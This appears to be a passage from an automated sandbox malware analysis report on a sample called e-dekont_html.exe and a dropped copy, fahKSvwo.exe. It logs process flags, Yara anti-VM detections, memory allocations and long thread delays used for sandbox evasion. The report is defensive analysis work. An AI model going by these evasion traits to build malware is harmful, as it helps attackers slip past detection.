Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fahKSvwo.exe PID: 7432, type: MEMORYSTR

Source: C:\Users\user\Desktop\e-dekont_html.exe	Memory allocated: 12A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Memory allocated: 2C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Memory allocated: 4C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Memory allocated: 9010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Memory allocated: A010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Memory allocated: A220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Memory allocated: B220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Memory allocated: 2BD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Memory allocated: 2D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Memory allocated: 4D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Memory allocated: 2C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Memory allocated: 8950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Memory allocated: 9950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Memory allocated: 9B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Memory allocated: AB40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Memory allocated: 1590000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Memory allocated: 32A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Memory allocated: 31A0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599668	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598897	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598660	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598292	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597665	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597494	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595766	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595641	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594930	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594652	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594540	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594312	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594203	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 594094	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 593983	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 593875	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Thread delayed: delay time: 593766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599654
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599545
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599219
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 599094
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598984
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598875
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598765
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598656
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598402
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598183
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 598078
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597953
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597844
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597731
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597582
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597453
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597344
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Thread delayed: delay time: 597233
